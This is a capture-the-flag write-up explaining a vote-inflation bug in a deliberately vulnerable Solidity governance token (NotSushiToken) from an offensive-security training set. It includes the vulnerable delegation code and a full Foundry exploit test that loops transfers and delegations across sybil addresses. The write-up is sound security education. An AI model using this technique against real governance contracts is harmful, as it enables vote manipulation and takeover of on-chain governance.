This is the #10 challenge of Mr Steal Yo Crypto. I will try to explain how to find the vulnerability.
A set of challenges to learn offensive security of smart contracts. Featuring interesting challenges loosely (or directly) inspired by real world exploits. Created by @0xToshii
I used the foundry version for this CTF: mr-steal-yo-crypto-ctf-foundry
Governance Shenanigans
The NotSushiToken governance token contract has been launched, which was configured to determine who should be named the best sushi chef. Who wouldn’t want that clout?
It only allows WLed addresses to vote. Luckily your sybil attack has yielded you 3 WLed addresses capable of voting.
Your goal is to get the most delegated votes and crown yourself the true sushi king. You start with 500 tokens, your competition has 2,000.
Review of the contract
NotSushiToken.sol
The only things that look strange are the logic of _delegate()
and _moveDelegates()
. Even if the amount is equal to 0, we update _delegates[delegator]
.
// @dev assigns the entire balance of votes from old delegatee to new delegatee
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SUSHIs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
// @dev votes are transferred from delegatee `srcRep` to `dstRep`
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
I think we can directly go to the next part; the vulnerability is between these two functions.
Exploit the vulnerability
The vulnerability is a missing update in the variables within the logic of _delegate()
and _moveDelegate()
. Consider this scenario:
The first time we call
_delegate()
,currentDelegate
is equal to 0, andsrcRep
of_moveDelegates
issrcRep = address(0)
. We will increase the vote of thedstRep
and not decrease thesrcRep
in our first call. We can delegate vote to a user the first time withamount = balanceOf() → 500
.Then we will reset
_delegates[delegator]
(=srcRep
) toaddress(0)
bydelegate()
withamount
equal to 0. We just need to transfer our token to haveamount = 0
. So if we calldelegate()
again,currentDelegate
is equal to the user. We will do nothing inside_moveDelegate()
becauseamount = 0
. So the user still has 500 units of vote, and ourcurrentDelegate
is now equal toaddress(0)
.
If we do that within a loop, we are artificially increasing the vote of a user.
Here is a solution:
// solves the challenge
function testChallengeExploit() public {
// for this exploit, you can use vm.prank(..) w/ {attacker,o1,o2}
// implement solution here
// In this challenge, we have a problem in the logic of _delegate() and _moveDelegate()
// If the srcRep = address(0) then we will increase the vote of the dstRep and not decrease the srcRep
// So there is a possibility to delegate vote to a user the first time with amount = balanceOf() → 500
// begin: _delegates[delegator](=srcRep) = address(0) | dstRep = user
// end: _delegates[delegator](=srcRep) = user | vote[user] = amount
// Then I will reset _delegates[delegator](=srcRep) to address(0) by delegate() with amount equal to 0
// We just need to transfer our token to have amount = 0
// So if we call again delegate:
// begin: _delegates[delegator](=srcRep) = address(user) | dstRep = address(0)
// end: _delegates[delegator](=srcRep) = address(0) | vote[user] = vote[user] - amount but amount = 0
// And so we can do that with a loop and artificially increasing the vote of a user.
vm.startPrank(attacker);
governanceToken.transfer(o1, governanceToken.balanceOf(attacker));
console.log("balance of attacker : ", governanceToken.balanceOf(attacker));
console.log("vote for attacker : ", governanceToken.getCurrentVotes(attacker));
vm.stopPrank();
for (uint i; i < 3; ++i) {
vm.startPrank(o1);
console.log("balance of o1 : ", governanceToken.balanceOf(o1));
governanceToken.delegate(attacker); // delegate 500 of vote to attacker
governanceToken.transfer(o2, governanceToken.balanceOf(o1));
console.log("balance of o1 : ", governanceToken.balanceOf(o
1));
governanceToken.delegate(address(0)); // delegate 0 of vote to address(0) and so at the end srcRep = address(0))
console.log("vote for attacker : ", governanceToken.getCurrentVotes(attacker));
vm.stopPrank();
vm.startPrank(o2);
console.log("balance of o2 : ", governanceToken.balanceOf(o2));
governanceToken.delegate(attacker); // delegate 500 of vote to attacker
governanceToken.transfer(o1, governanceToken.balanceOf(o2));
console.log("balance of o2 : ", governanceToken.balanceOf(o2));
governanceToken.delegate(address(0)); // delegate 0 of vote to address(0) and so at the end srcRep = address(0))
console.log("vote for attacker : ", governanceToken.getCurrentVotes(attacker));
vm.stopPrank();
}
vm.startPrank(o1);
governanceToken.transfer(attacker, governanceToken.balanceOf(o1));
vm.stopPrank();
validation();
}
You can check my test file here.
Acknowledgement
Thank you https://stermi.xyz/ for inspiring me for writing articles on CTF ^^.